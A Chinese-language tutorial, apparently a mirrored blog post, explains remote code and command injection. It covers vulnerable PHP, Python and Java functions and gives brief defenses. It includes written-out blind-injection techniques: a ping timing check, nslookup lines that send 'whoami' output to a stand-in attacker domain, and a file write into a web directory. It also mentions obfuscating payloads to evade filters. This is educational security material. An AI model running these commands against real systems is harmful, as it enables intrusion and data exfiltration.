zoukankan      html  css  js  c++  java
  • 4.8 RCE

    简介

    RCE 分为两类。详见

    Remote Code Execution (Code Injection)

    Remote Command Execution (Command injection)

    命令执行练习靶场

    是什么?

    代码注入、命令注入,差不多都一个意思,不同之处在于前者将用户可控输入当作系统命令执行,而后者当作代码执行。

    程序编写时,将用户的可控输入作为代码、命令的一部分来执行,而没有进行严格过滤。

    php 中
        # 可以进行代码执行的函数
        eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()
        # 可以进行命令执行的函数
        system()、shell_exec()、popen()、passthru()、proc_open()
    python 中
    	eval exec subprocess os.system commands 
    java 中
    	java 中没有直接的函数,但是可以通过反射机制结合表达式引擎来实现这种功能。	OGNL、SpEL、MVEL
    

    历史原因,在进行查询库存等操作时,可能会直接调用相应单独程序。

    成功攻击的影响是?

    代码执行可以执行代码,包括调用执行系统命令函数。

    命令执行可以执行系统命令。

    如何攻击?
    1. 要探测到可能用作 代码执行、命令执行的入口。白盒而言相对简单,黑盒只能通过经验、程序表现来判断。

    2. 突破不严谨过滤方式。 见下文

    3. 进行利用。

    可以利用 Commix 命令注入检测、利用工具。

    如何防御?

    尽量不要使用将用户可控输入转化为命令的功能。

    如果非要使用,应该严格限制输入类型、不允许特殊符号。

    检测与利用

    代码注入

    构造 webshell。

    命令注入

    如果目标回显,则直接看响应结果即可。

    如目标不回显,则尝试以下方法:

    1. 时延。利用耗时命令,当注入成功时,响应时间明显变大。

      ping -c 2 -i 4  127.0.0.1   //每次ping 间隔 4秒
      
    2. oob 技术。利用 ping 或者 nslookup 来检测或带出数据。

      nslookup `whoami`.kgji2ohoyw.web-attacker.com
      nslookup $(whoami).kgji2ohoyw.web-attacker.com
      
    3. 写入到文件。写入到网站公共目录下,然后访问文件。

      whoami > /var/www/static/whoami.txt
      

    防御绕过

    等链接到后面的 WAF 绕过

    代码注入

    正则表达式过滤,可以尝试 异或加密。在网上查找代码加密混淆工具。

    命令执行

    利用 bash 或 cmd 特性来混淆命令

  • 相关阅读:
    这是一段Java程序员写给最爱的老婆的代码。
    第一次来写博客,这里可以记录很多故事。
    转 JavaScript前端和Java后端的AES加密和解密
    java webservice浏览器测试地址
    Eclipse4.5在线安装Aptana插件及配置代码提示教程
    彻底的卸载干净oracle 11g(转)
    oracle查看编码以及修改编码(转)
    关于AngularJs数据递归呈现的实现的几种方式
    ionic的ngModel指令失效
    AngularJS 自定义指令详解
  • 原文地址:https://www.cnblogs.com/starrys/p/14677621.html
Copyright © 2011-2022 走看看